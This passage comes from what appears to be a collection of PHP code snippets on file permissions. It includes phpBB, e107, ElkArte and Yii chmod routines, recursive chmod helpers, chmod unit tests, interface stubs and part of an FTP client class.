here\n\t\t\t$common_php_owner = @fileowner($phpbb_root_path . 'common.' . $phpEx);\n\t\t\t$common_php_group = @filegroup($phpbb_root_path . 'common.' . $phpEx);\n\n\t\t\t// And the owner and the groups PHP is running under.\n\t\t\t$php_uid = (function_exists('posix_getuid')) ? @posix_getuid() : false;\n\t\t\t$php_gids = (function_exists('posix_getgroups')) ? @posix_getgroups() : false;\n\n\t\t\t// If we are unable to get owner/group, then do not try to set them by guessing\n\t\t\tif (!$php_uid || empty($php_gids) || !$common_php_owner || !$common_php_group)\n\t\t\t{\n\t\t\t\t$_chmod_info['process'] = false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$_chmod_info = array(\n\t\t\t\t\t'process'\t\t=> true,\n\t\t\t\t\t'common_owner'\t=> $common_php_owner,\n\t\t\t\t\t'common_group'\t=> $common_php_group,\n\t\t\t\t\t'php_uid'\t\t=> $php_uid,\n\t\t\t\t\t'php_gids'\t\t=> $php_gids,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\n\tif ($_chmod_info['process'])\n\t{\n\t\t$file_uid = @fileowner($filename);\n\t\t$file_gid = @filegroup($filename);\n\n\t\t// Change owner\n\t\tif (@chown($filename, $_chmod_info['common_owner']))\n\t\t{\n\t\t\tclearstatcache();\n\t\t\t$file_uid = @fileowner($filename);\n\t\t}\n\n\t\t// Change group\n\t\tif (@chgrp($filename, $_chmod_info['common_group']))\n\t\t{\n\t\t\tclearstatcache();\n\t\t\t$file_gid = @filegroup($filename);\n\t\t}\n\n\t\t// If the file_uid/gid now match the one from common.php we can process further, else we are not able to change something\n\t\tif ($file_uid != $_chmod_info['common_owner'] || $file_gid != $_chmod_info['common_group'])\n\t\t{\n\t\t\t$_chmod_info['process'] = false;\n\t\t}\n\t}\n\n\t// Still able to process?\n\tif ($_chmod_info['process'])\n\t{\n\t\tif ($file_uid == $_chmod_info['php_uid'])\n\t\t{\n\t\t\t$php = 'owner';\n\t\t}\n\t\telse if (in_array($file_gid, $_chmod_info['php_gids']))\n\t\t{\n\t\t\t$php = 'group';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Since we are setting the everyone bit anyway, no need to do expensive operations\n\t\t\t$_chmod_info['process'] = false;\n\t\t}\n\t}\n\n\t// We are not able to determine or change something\n\tif (!$_chmod_info['process'])\n\t{\n\t\t$php = 'other';\n\t}\n\n\t// Owner always has read/write permission\n\t$owner = CHMOD_READ | CHMOD_WRITE;\n\tif (is_dir($filename))\n\t{\n\t\t$owner |= CHMOD_EXECUTE;\n\n\t\t// Only add execute bit to the permission if the dir needs to be readable\n\t\tif ($perms & CHMOD_READ)\n\t\t{\n\t\t\t$perms |= CHMOD_EXECUTE;\n\t\t}\n\t}\n\n\tswitch ($php)\n\t{\n\t\tcase 'owner':\n\t\t\t$result = @chmod($filename, ($owner << 6) + (0 << 3) + (0 << 0));\n\n\t\t\tclearstatcache();\n\n\t\t\tif (is_readable($filename) && is_writable($filename))\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tcase 'group':\n\t\t\t$result = @chmod($filename, ($owner << 6) + ($perms << 3) + (0 << 0));\n\n\t\t\tclearstatcache();\n\n\t\t\tif ((!($perms & CHMOD_READ) || is_readable($filename)) && (!($perms & CHMOD_WRITE) || is_writable($filename)))\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tcase 'other':\n\t\t\t$result = @chmod($filename, ($owner << 6) + ($perms << 3) + ($perms << 0));\n\n\t\t\tclearstatcache();\n\n\t\t\tif ((!($perms & CHMOD_READ) || is_readable($filename)) && (!($perms & CHMOD_WRITE) || is_writable($filename)))\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tdefault:\n\t\t\treturn false;\n\t\tbreak;\n\t}\n\n\treturn $result;\n}", "function correct_perms()\n\t{\n\t\t$mes = e107::getMessage();\n\t\t$fl = e107::getFile();\n\t\tob_start();\n\t\t$fl->chmod(e_BASE);\n\t\t$fl->chmod(e_BASE.\"cron.php\",0755);\n\t\t$errors = ob_get_clean();\n\t\t\n\t\tif($errors !='')\n\t\t{\n\t\t\t$mes->addError($errors);\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$mes->addSuccess(DBLAN_72);\n\t\t}\n\t\t\n\t\te107::getRender()->tablerender(DBLAN_10.SEP.DBLAN_73, $mes->render());\n\t\t\n\t}", "function setCHMOD($params='')\n {\n global $iConfig;\n $aReturn = array();\n\n if (empty($params))\n {\n $params = $iConfig['chmod_paths'];\n }\n\n foreach ($params as $path => $mode)\n {\n $aReturn[$path]['status'] = '';\n $real_path = realpath(dirname($_SERVER['SCRIPT_FILENAME']) .'/../'. $path); // Get real path\n\n if (file_exists($real_path))\n {\n if (!fileperms($real_path))\n {\n $aReturn[$path]['status'] = sprintf($this->t('e_permition_fail'), $path);\n }else{\n// if (!@chmod($real_path, $mode)) $aReturn[$path]['status'] = sprintf($this->t('e_chmod_fail'), $path); // Need to test\n\n $aReturn[$path]['mode'] = '0'.decoct(0777 & fileperms($real_path));\n //echo $path.\": (\".fileperms($real_path).\")\".($aReturn[$path]['mode']).\" - \".($mode).\"<br/>\";\n $s1=strrev(\"\".$aReturn[$path]['mode']);\n $s2=strrev(\"\".$mode);\n $aReturn[$path]['status'] = '';\n for($i=0;$i<strlen($s2);$i++)\n {\n if(intval($s1[$i])<intval($s2[$i]))\n {\n $aReturn[$path]['status'] = sprintf($this->t('e_chmod_fail'), $path);\n break;\n }\n }\n /* if(intval($aReturn[$path]['mode']) != intval($mode)) $aReturn[$path]['status'] = sprintf($this->t('e_chmod_fail'), $path);\n else $aReturn[$path]['status'] = ''; */\n }\n }else{\n $aReturn[$path]['status'] = sprintf($this->t('e_missing_file'), $path);\n }\n }\n return $aReturn;\n }", "function phpbb_chmod($filename, $perms = CHMOD_READ)\n{\n\tstatic $_chmod_info;\n\n\t// Return if the file no longer exists.\n\tif (!file_exists($filename))\n\t{\n\t\treturn false;\n\t}\n\n\t// Determine some common vars\n\tif (empty($_chmod_info))\n\t{\n\t\tif (!function_exists('fileowner') || !function_exists('filegroup'))\n\t\t{\n\t\t\t// No need to further determine owner/group - it is unknown\n\t\t\t$_chmod_info['process'] = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tglobal $root_path, $phpEx;\n\n\t\t\t// Determine owner/group of common.php file and the filename we want to change here\n\t\t\t$common_php_owner = @fileowner($phpbb_root_path . 'index.' . $phpEx);\n\t\t\t$common_php_group = @filegroup($phpbb_root_path . 'index.' . $phpEx);\n\n\t\t\t// And the owner and the groups PHP is running under.\n\t\t\t$php_uid = (function_exists('posix_getuid')) ? @posix_getuid() : false;\n\t\t\t$php_gids = (function_exists('posix_getgroups')) ? @posix_getgroups() : false;\n\n\t\t\t// If we are unable to get owner/group, then do not try to set them by guessing\n\t\t\tif (!$php_uid || empty($php_gids) || !$common_php_owner || !$common_php_group)\n\t\t\t{\n\t\t\t\t$_chmod_info['process'] = false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$_chmod_info = array(\n\t\t\t\t\t'process'\t\t=> true,\n\t\t\t\t\t'common_owner'\t=> $common_php_owner,\n\t\t\t\t\t'common_group'\t=> $common_php_group,\n\t\t\t\t\t'php_uid'\t\t=> $php_uid,\n\t\t\t\t\t'php_gids'\t\t=> $php_gids,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\n\tif ($_chmod_info['process'])\n\t{\n\t\t$file_uid = @fileowner($filename);\n\t\t$file_gid = @filegroup($filename);\n\n\t\t// Change owner\n\t\tif (@chown($filename, $_chmod_info['common_owner']))\n\t\t{\n\t\t\tclearstatcache();\n\t\t\t$file_uid = @fileowner($filename);\n\t\t}\n\n\t\t// Change group\n\t\tif (@chgrp($filename, $_chmod_info['common_group']))\n\t\t{\n\t\t\tclearstatcache();\n\t\t\t$file_gid = @filegroup($filename);\n\t\t}\n\n\t\t// If the file_uid/gid now match the one from common.php we can process further, else we are not able to change something\n\t\tif ($file_uid != $_chmod_info['common_owner'] || $file_gid != $_chmod_info['common_group'])\n\t\t{\n\t\t\t$_chmod_info['process'] = false;\n\t\t}\n\t}\n\n\t// Still able to process?\n\tif ($_chmod_info['process'])\n\t{\n\t\tif ($file_uid == $_chmod_info['php_uid'])\n\t\t{\n\t\t\t$php = 'owner';\n\t\t}\n\t\telse if (in_array($file_gid, $_chmod_info['php_gids']))\n\t\t{\n\t\t\t$php = 'group';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Since we are setting the everyone bit anyway, no need to do expensive operations\n\t\t\t$_chmod_info['process'] = false;\n\t\t}\n\t}\n\n\t// We are not able to determine or change something\n\tif (!$_chmod_info['process'])\n\t{\n\t\t$php = 'other';\n\t}\n\n\t// Owner always has read/write permission\n\t$owner = CHMOD_READ | CHMOD_WRITE;\n\tif (is_dir($filename))\n\t{\n\t\t$owner |= CHMOD_EXECUTE;\n\n\t\t// Only add execute bit to the permission if the dir needs to be readable\n\t\tif ($perms & CHMOD_READ)\n\t\t{\n\t\t\t$perms |= CHMOD_EXECUTE;\n\t\t}\n\t}\n\n\tswitch ($php)\n\t{\n\t\tcase 'owner':\n\t\t\t$result = @chmod($filename, ($owner << 6) + (0 << 3) + (0 << 0));\n\n\t\t\tclearstatcache();\n\n\t\t\tif (is_readable($filename) && is_writable($filename))\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tcase 'group':\n\t\t\t$result = @chmod($filename, ($owner << 6) + ($perms << 3) + (0 << 0));\n\n\t\t\tclearstatcache();\n\n\t\t\tif ((!($perms & CHMOD_READ) || is_readable($filename)) && (!($perms & CHMOD_WRITE) || is_writable($filename)))\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tcase 'other':\n\t\t\t$result = @chmod($filename, ($owner << 6) + ($perms << 3) + ($perms << 0));\n\n\t\t\tclearstatcache();\n\n\t\t\tif ((!($perms & CHMOD_READ) || is_readable($filename)) && (!($perms & CHMOD_WRITE) || is_writable($filename)))\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tdefault:\n\t\t\treturn false;\n\t\tbreak;\n\t}\n\n\treturn $result;\n}", "public function getFileOperationPermissions() {}", "function cli_chmod($path, $mode = 0755, $recursive = true, $exceptions = array()) {\n global $_messages, $_errors;\n\n if ($recursive === false && is_dir($path)) {\n if (@chmod($path, intval($mode, 8))) {\n $_messages[] = sprintf('<success>%s changed to %s<success>', $path, $mode);\n return true;\n }\n\n $_errors[] = sprintf('<error>%s NOT changed to %s', $path, $mode);\n return false;\n }\n\n if (is_dir($path)) {\n $paths = cli_tree($path);\n\n foreach ($paths as $type) {\n foreach ($type as $key => $fullpath) {\n $check = explode(DS, $fullpath);\n $count = count($check);\n\n if (in_array($check[$count - 1], $exceptions)) {\n continue;\n }\n\n if (@chmod($fullpath, intval($mode, 8))) {\n $_messages[] = sprintf('<success>%s changed to %s</success>', $fullpath, $mode);\n } else {\n $_errors[] = sprintf('<error>%s NOT changed to %s</error>', $fullpath, $mode);\n }\n }\n }\n\n if (empty($_errors)) {\n return true;\n }\n }\n return false;\n}", "public function silo_permissions($path)\n\t{\n\t}", "private function action_checkFilesWritable()\n\t{\n\t\tglobal $txt, $incontext;\n\n\t\t$incontext['page_title'] = $txt['ftp_checking_writable'];\n\t\t$incontext['sub_template'] = 'chmod_files';\n\n\t\t$extra_files= [];\n\n\t\t$writable_files = array(\n\t\t\t'attachments',\n\t\t\t'avatars',\n\t\t\t'cache',\n\t\t\t'packages',\n\t\t\t'packages/installed.list',\n\t\t\t'smileys',\n\t\t\t'themes',\n\t\t\t'db_last_error.txt',\n\t\t\t'Settings.php',\n\t\t\t'Settings_bak.php'\n\t\t);\n\t\tforeach ($incontext['detected_languages'] as $lang => $temp)\n\t\t{\n\t\t\t$extra_files[] = 'sources/ElkArte/Languages/Install/' . $lang;\n\t\t}\n\n\t\t// With mod_security installed, we could attempt to fix it with .htaccess.\n\t\tif (function_exists('apache_get_modules') && in_array('mod_security', apache_get_modules()))\n\t\t{\n\t\t\t$writable_files[] = file_exists(TMP_BOARDDIR . '/.htaccess') ? '.htaccess' : '.';\n\t\t}\n\n\t\t$failed_files = array();\n\n\t\t// On linux, it's easy - just use is_writable!\n\t\tif (substr(__FILE__, 1, 2) != ':\\\\')\n\t\t{\n\t\t\tforeach ($writable_files as $file)\n\t\t\t{\n\t\t\t\tif (!is_writable(TMP_BOARDDIR . '/' . $file))\n\t\t\t\t{\n\t\t\t\t\t@chmod(TMP_BOARDDIR . '/' . $file, 0755);\n\n\t\t\t\t\t// Well, 755 hopefully worked... if not, try 777.\n\t\t\t\t\tif (!is_writable(TMP_BOARDDIR . '/' . $file) && !@chmod(TMP_BOARDDIR . '/' . $file, 0777))\n\t\t\t\t\t{\n\t\t\t\t\t\t$failed_files[] = $file;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($extra_files as $file)\n\t\t\t{\n\t\t\t\t@chmod(TMP_BOARDDIR . (empty($file) ? '' : '/' . $file), 0777);\n\t\t\t}\n\t\t}\n\t\t// Windows is trickier. Let's try opening for r+...\n\t\telse\n\t\t{\n\t\t\tforeach ($writable_files as $file)\n\t\t\t{\n\t\t\t\t// Folders can't be opened for write... but the index.php in them can ;)\n\t\t\t\tif (is_dir(TMP_BOARDDIR . '/' . $file))\n\t\t\t\t{\n\t\t\t\t\t$file .= '/index.php';\n\t\t\t\t}\n\n\t\t\t\t// Funny enough, chmod actually does do something on windows - it removes the read only attribute.\n\t\t\t\t@chmod(TMP_BOARDDIR . '/' . $file, 0777);\n\t\t\t\t$fp = @fopen(TMP_BOARDDIR . '/' . $file, 'r+');\n\n\t\t\t\t// Hmm, okay, try just for write in that case...\n\t\t\t\tif (!is_resource($fp))\n\t\t\t\t{\n\t\t\t\t\t$fp = @fopen(TMP_BOARDDIR . '/' . $file, 'w');\n\t\t\t\t}\n\n\t\t\t\tif (!is_resource($fp))\n\t\t\t\t{\n\t\t\t\t\t$failed_files[] = $file;\n\t\t\t\t}\n\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\tforeach ($extra_files as $file)\n\t\t\t{\n\t\t\t\t@chmod(TMP_BOARDDIR . (empty($file) ? '' : '/' . $file), 0777);\n\t\t\t}\n\t\t}\n\n\t\t$failure = count($failed_files) >= 1;\n\n\t\tif (!isset($_SERVER))\n\t\t{\n\t\t\treturn !$failure;\n\t\t}\n\n\t\t// Put the list into context.\n\t\t$incontext['failed_files'] = $failed_files;\n\n\t\t// It's not going to be possible to use FTP on windows to solve the problem...\n\t\tif ($failure && substr(__FILE__, 1, 2) == ':\\\\')\n\t\t{\n\t\t\t$incontext['error'] = $txt['error_windows_chmod'] . '\n\t\t\t\t\t\t<ul style=\"margin: 2.5ex; font-family: monospace;\">\n\t\t\t\t\t\t\t<li>' . implode('</li>\n\t\t\t\t\t\t\t<li>', $failed_files) . '</li>\n\t\t\t\t\t\t</ul>';\n\n\t\t\treturn false;\n\t\t}\n\t\t// We're going to have to use... FTP!\n\t\telseif ($failure)\n\t\t{\n\t\t\t// Load any session data we might have...\n\t\t\tif (!isset($_POST['ftp_username']) && isset($_SESSION['installer_temp_ftp']))\n\t\t\t{\n\t\t\t\t$_POST['ftp_server'] = $_SESSION['installer_temp_ftp']['server'];\n\t\t\t\t$_POST['ftp_port'] = $_SESSION['installer_temp_ftp']['port'];\n\t\t\t\t$_POST['ftp_username'] = $_SESSION['installer_temp_ftp']['username'];\n\t\t\t\t$_POST['ftp_password'] = $_SESSION['installer_temp_ftp']['password'];\n\t\t\t\t$_POST['ftp_path'] = $_SESSION['installer_temp_ftp']['path'];\n\t\t\t}\n\n\t\t\t$incontext['ftp_errors'] = array();\n\n\t\t\tif (isset($_POST['ftp_username']))\n\t\t\t{\n\t\t\t\t$ftp = new Ftp_Connection($_POST['ftp_server'], $_POST['ftp_port'], $_POST['ftp_username'], $_POST['ftp_password']);\n\n\t\t\t\tif ($ftp->error === false)\n\t\t\t\t{\n\t\t\t\t\t// Try it without /home/abc just in case they messed up.\n\t\t\t\t\tif (!$ftp->chdir($_POST['ftp_path']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$incontext['ftp_errors'][] = $ftp->last_message;\n\t\t\t\t\t\t$ftp->chdir(preg_replace('~^/home[2]?/[^/]+?~', '', $_POST['ftp_path']));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!isset($ftp) || $ftp->error !== false)\n\t\t\t{\n\t\t\t\tif (!isset($ftp))\n\t\t\t\t{\n\t\t\t\t\t$ftp = new Ftp_Connection(null);\n\t\t\t\t}\n\t\t\t\t// Save the error so we can mess with listing...\n\t\t\t\telseif ($ftp->error !== false && empty($incontext['ftp_errors']) && !empty($ftp->last_message))\n\t\t\t\t{\n\t\t\t\t\t$incontext['ftp_errors'][] = $ftp->last_message;\n\t\t\t\t}\n\n\t\t\t\tlist ($username, $detect_path, $found_path) = $ftp->detect_path(TMP_BOARDDIR);\n\n\t\t\t\tif (empty($_POST['ftp_path']) && $found_path)\n\t\t\t\t{\n\t\t\t\t\t$_POST['ftp_path'] = $detect_path;\n\t\t\t\t}\n\n\t\t\t\tif (!isset($_POST['ftp_username']))\n\t\t\t\t{\n\t\t\t\t\t$_POST['ftp_username'] = $username;\n\t\t\t\t}\n\n\t\t\t\t// Set the username etc, into context.\n\t\t\t\t$incontext['ftp'] = array(\n\t\t\t\t\t'server' => $_POST['ftp_server'] ?? 'localhost',\n\t\t\t\t\t'port' => $_POST['ftp_port'] ?? '21',\n\t\t\t\t\t'username' => $_POST['ftp_username'] ?? '',\n\t\t\t\t\t'path' => $_POST['ftp_path'] ?? '/',\n\t\t\t\t\t'path_msg' => !empty($found_path) ? $txt['ftp_path_found_info'] : $txt['ftp_path_info'],\n\t\t\t\t);\n\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$_SESSION['installer_temp_ftp'] = array(\n\t\t\t\t\t'server' => $_POST['ftp_server'],\n\t\t\t\t\t'port' => $_POST['ftp_port'],\n\t\t\t\t\t'username' => $_POST['ftp_username'],\n\t\t\t\t\t'password' => $_POST['ftp_password'],\n\t\t\t\t\t'path' => $_POST['ftp_path']\n\t\t\t\t);\n\n\t\t\t\t$failed_files_updated = array();\n\n\t\t\t\tforeach ($failed_files as $file)\n\t\t\t\t{\n\t\t\t\t\tif (!is_writable(TMP_BOARDDIR . '/' . $file))\n\t\t\t\t\t{\n\t\t\t\t\t\t$ftp->chmod($file, 0755);\n\t\t\t\t\t}\n\t\t\t\t\tif (!is_writable(TMP_BOARDDIR . '/' . $file))\n\t\t\t\t\t{\n\t\t\t\t\t\t$ftp->chmod($file, 0777);\n\t\t\t\t\t}\n\t\t\t\t\tif (!is_writable(TMP_BOARDDIR . '/' . $file))\n\t\t\t\t\t{\n\t\t\t\t\t\t$failed_files_updated[] = $file;\n\t\t\t\t\t\t$incontext['ftp_errors'][] = rtrim($ftp->last_message) . ' -> ' . $file . \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$ftp->close();\n\n\t\t\t\t// Are there any errors left?\n\t\t\t\tif (count($failed_files_updated) >= 1)\n\t\t\t\t{\n\t\t\t\t\t// Guess there are...\n\t\t\t\t\t$incontext['failed_files'] = $failed_files_updated;\n\n\t\t\t\t\t// Set the username etc, into context.\n\t\t\t\t\t$incontext['ftp'] = $_SESSION['installer_temp_ftp'] += array(\n\t\t\t\t\t\t'path_msg' => $txt['ftp_path_info'],\n\t\t\t\t\t);\n\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}", "public function silo_permissions($path)\r\n\t{\r\n\t}", "public function givePermission($permissions);", "public function actionPermissions()\n {\n FileHelper::createDirectory(Yii::getAlias('@webroot/css'));\n FileHelper::createDirectory(Yii::getAlias('@webroot/js'));\n\n foreach (['@webroot/assets', '@webroot/uploads', '@runtime'] as $path) {\n try {\n chmod(Yii::getAlias($path), 0777);\n } catch (\\Exception $e) {\n $this->stderr(\"Failed to change permissions for directory \\\"{$path}\\\": \" . $e->getMessage());\n $this->stdout(PHP_EOL);\n }\n }\n }", "public function testSetChmod()\n {\n file_put_contents(self::$temp.DS.'file.txt', 'Hello World');\n\n Storage::chmod(self::$temp.DS.'file.txt', 0755);\n\n $actual = substr(sprintf('%o', fileperms(self::$temp.DS.'file.txt')), -4);\n $expected = ('\\\\' === DS) ? '0666' : '0755';\n\n $this->assertTrue($expected === $actual);\n }", "public function testChmod_string()\n {\n \tfileperms($this->file); // Stat cache\n \t\n $this->Fs_Node->chmod('u=rwx,go+rw-x');\n $this->assertEquals('0766', sprintf('%04o', fileperms($this->file) & 07777));\n \n $this->Fs_Node->chmod('g-w,o-rwx');\n $this->assertEquals('0740', sprintf('%04o', fileperms($this->file) & 07777), '2nd time');\n }", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "function fn_te_chmod($source, $perms = DEFAULT_DIR_PERMISSIONS, $recursive = false)\n{\n // Simple copy for a file\n if (is_file($source) || $recursive == false) {\n $res = @chmod($source, $perms);\n\n return $res;\n }\n\n // Loop through the folder\n if (is_dir($source)) {\n $dir = dir($source);\n while (false !== $entry = $dir->read()) {\n // Skip pointers\n if ($entry == '.' || $entry == '..') {\n continue;\n }\n if (fn_te_chmod($source . '/' . $entry, $perms, true) == false) {\n return false;\n }\n }\n // Clean up\n $dir->close();\n\n return @chmod($source, $perms);\n } else {\n return false;\n }\n}", "function read_chmod()\n\t{\n\t\tglobal $chmod_777, $chmod_666;\n\t\tglobal $lang, $language;\n\n\t\t$img_ok = str_replace('alt=\"\" title=\"\"', 'alt=\"' . $lang['CHMOD_OK'] . '\" title=\"' . $lang['CHMOD_File_Exists'] . '\"', $this->img_ok);\n\t\t$img_error = str_replace('alt=\"\" title=\"\"', 'alt=\"' . $lang['CHMOD_Error'] . '\" title=\"' . $lang['CHMOD_Error'] . '\"', $this->img_error);\n\n\t\t$report_string_append = '';\n\n\t\t$chmod_items_array = array($chmod_777, $chmod_666);\n\t\t$chmod_values_array = array(0777, 0666);\n\t\t$chmod_langs_array = array($lang['CHMOD_777'], $lang['CHMOD_666']);\n\n\t\t$table_output = '';\n\n\t\tfor ($i = 0; $i < sizeof($chmod_items_array); $i++)\n\t\t{\n\t\t\tif (!empty($chmod_items_array[$i]))\n\t\t\t{\n\t\t\t\t$table_output .= '<b>' . $chmod_langs_array[$i] . '</b><br />' . '<ul>';\n\t\t\t\tfor ($j = 0; $j < sizeof($chmod_items_array[$i]); $j++ )\n\t\t\t\t{\n\t\t\t\t\t$report_string = '';\n\t\t\t\t\t$errored = false;\n\t\t\t\t\tif (!file_exists($chmod_items_array[$i][$j]))\n\t\t\t\t\t{\n\t\t\t\t\t\t$errored = true;\n\t\t\t\t\t\t$report_string = $lang['CHMOD_File_NotExists'];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif (!is_writable($chmod_items_array[$i][$j]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$errored = true;\n\t\t\t\t\t\t\t$report_string = $lang['CHMOD_File_Exists_Read_Only'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$report_string = $lang['CHMOD_File_Exists'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($errored)\n\t\t\t\t\t{\n\t\t\t\t\t\t$report_string_append = '&nbsp;<span class=\"genmed\" style=\"color: ' . $this->color_error . ';\"><b>' . $report_string . '</b></span>';\n\t\t\t\t\t\t$table_output .= '<li><span class=\"gensmall\" style=\"color: ' . $this->color_error . ';\"><b>' . $chmod_items_array[$i][$j] . '</b></span>&nbsp;' . $img_error . '</li>' . \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$report_string_append = '&nbsp;<span class=\"genmed\" style=\"color: ' . $this->color_ok . ';\">' . $report_string . '</span>';\n\t\t\t\t\t\t$table_output .= '<li><span class=\"gensmall\" style=\"color: ' . $this->color_ok . ';\"><b>' . $chmod_items_array[$i][$j] . '</b></span>&nbsp;' . $img_ok . '</li>' . \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$table_output .= '</ul>' . '<br />';\n\t\t\t}\n\t\t}\n\n\t\treturn $table_output;\n\t}", "public function testGetChmod()\n {\n file_put_contents(self::$temp.DS.'file.txt', 'Hello World');\n chmod(self::$temp.DS.'file.txt', 0755);\n\n $actual = Storage::chmod(self::$temp.DS.'file.txt');\n $expected = ('\\\\' === DS) ? '0666' : '0755';\n\n $this->assertTrue($expected === $actual);\n }", "public function chmod($filename, $mode)\n {\n $oldUmask = umask(0);\n $result = @chmod($filename, $mode);\n umask($oldUmask);\n\n return $result;\n }", "public function setPermissions($permissions) {}", "public function setPermissions(int $mode): void\n {\n /** @psalm-suppress InvalidArgument */\n if (!\\msg_set_queue($this->queue, ['msg_perm.mode' => $mode])) {\n throw new SyncException('Failed to change the semaphore permissions.');\n }\n }", "public function setPermissions($folder)\n\t{\n\t\t$commands = array();\n\n\t\t// Get path to folder\n\t\t$folder = $this->releasesManager->getCurrentReleasePath($folder);\n\t\t$this->command->comment('Setting permissions for '.$folder);\n\n\t\t// Get permissions options\n\t\t$callback = $this->rocketeer->getOption('remote.permissions.callback');\n\t\t$commands = (array) $callback($this, $folder);\n\n\t\t// Cancel if setting of permissions is not configured\n\t\tif (empty($commands)) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn $this->runForCurrentRelease($commands);\n\t}", "public function run()\n {\n Artisan::call('permissions:update', ['--yes' => true]);\n }", "private function _makeDirPermissions($permissions) {\r\n\t\t$permissions = (string) $permissions;\r\n\t\t\r\n\t\t// going through (user, group, world)\r\n\t\tfor ( $i = 0; $i < strlen($permissions); $i++ ) {\r\n\t\t\t// Read permission is set but execute not yet\r\n\t\t\tif ( (int) $permissions{$i} & 4 and !((int) $permissions{$i} & 1) ) {\r\n\t\t\t\t// Adding execute flag\r\n\t\t\t\t(int) $permissions{$i} = (int) $permissions{$i} + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn (string) $permissions;\r\n\t}\r\n\r\n\t/**\r\n\t * This will return the last modification-time of a file. You can either give\r\n\t * this function a relative or an absolute path to the file to check.\r\n\t * NOTE: Some servers will not support this feature and the function works\r\n\t * only on files, not directories! When successful,\r\n\t * it will return the last modification-time as a unix-timestamp or, when\r\n\t * $format is specified, a preformated timestring.\r\n\t *\r\n\t * @param string $file The file to check\r\n\t * @param string $format (optional) The format to give the date back \r\n\t * if not set, it will return a Unix timestamp\r\n\t *\r\n\t * @access public\r\n\t * @return mixed Unix timestamp, a preformated date-string\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction mdtm($file, $format = null) {\r\n\t\t$file = $this->_constructPath($file);\r\n\t\tif ( $this->_checkRemoteDir($file) !== false ) {\r\n\t\t\tthrow new ftpMdtmException(\"Filename '$file' seems to be a directory.\");\r\n\t\t}\r\n\t\t$res = @ftp_mdtm($this->_handle, $file);\r\n\t\tif ( $res == -1 ) {\r\n\t\t\tthrow new ftpMdtmException(\"Could not get last-modification-date of '\" . $file . \"'.\");\r\n\t\t}\r\n\t\tif ( $format !== null ) {\r\n\t\t\t$res = date($format, $res);\r\n\t\t\tif ( !$res ) {\r\n\t\t\t\tthrow new ftpMdtmException(\"Date-format failed on timestamp '\" . $res . \"'.\");\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $res;\r\n\t}\r\n\r\n\t/**\r\n\t * This will return the size of a given file in bytes. You can either give this\r\n\t * function a relative or an absolute file-path. NOTE: Some servers do not\r\n\t * support this feature!\r\n\t *\r\n\t * @param string $file The file to check\r\n\t *\r\n\t * @access public\r\n\t * @return mixed Size in bytes\r\n\t * @throws ftpException\r\n\t */\r\n\tfunction size($file) {\r\n\t\t$file = $this->_constructPath($file);\r\n\t\t$res = @ftp_size($this->_handle, $file);\r\n\t\tif ( $res == -1 ) {\r\n\t\t\tthrow new ftpSizeException($file);\r\n\t\t} else {\r\n\t\t\treturn $res;\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * This method returns a directory-list of the current directory or given one.\r\n\t * To display the current selected directory, simply set the first parameter to\r\n\t * null\r\n\t * or leave it blank, if you do not want to use any other parameters.\r\n\t * <br><br>\r\n\t * There are 4 different modes of listing directories. Either to list only\r\n\t * the files (using ftpClient::LS_MODE_FILES_ONLY), to list only directories\r\n\t * (using ftpClient::LS_MODE_DIRS_ONLY) or to show both (using\r\n\t * ftpClient::LS_MODE_DIRS_FILES, which is default).\r\n\t * <br><br>\r\n\t * The 4th one is the ftpClient::LS_MODE_RAW_LIST, which returns just the array\r\n\t * created by the ftp_rawlist() - function built into PHP.\r\n\t * <br><br>\r\n\t * The other function-modes will return an array containing the requested data.\r\n\t * The files and dirs are listed in human-sorted order, but if you select\r\n\t * ftpClient::LS_MODE_DIRS_FILES the directories will be added above the files,\r\n\t * although both sorted.\r\n\t * <br><br>\r\n\t * All elements in the arrays are associative arrays themselves. They have the\r\n\t * following structure:\r\n\t * <br><br>\r\n\t * Dirs:<br>\r\n\t * [\"name\"] => string The name of the directory<br>\r\n\t * [\"rights\"] => string The rights of the directory (in style\r\n\t * \"rwxr-xr-x\")<br>\r\n\t * [\"user\"] => string The owner of the directory<br>\r\n\t * [\"group\"] => string The group-owner of the directory<br>\r\n\t * [\"files_inside\"]=> string The number of files/dirs inside 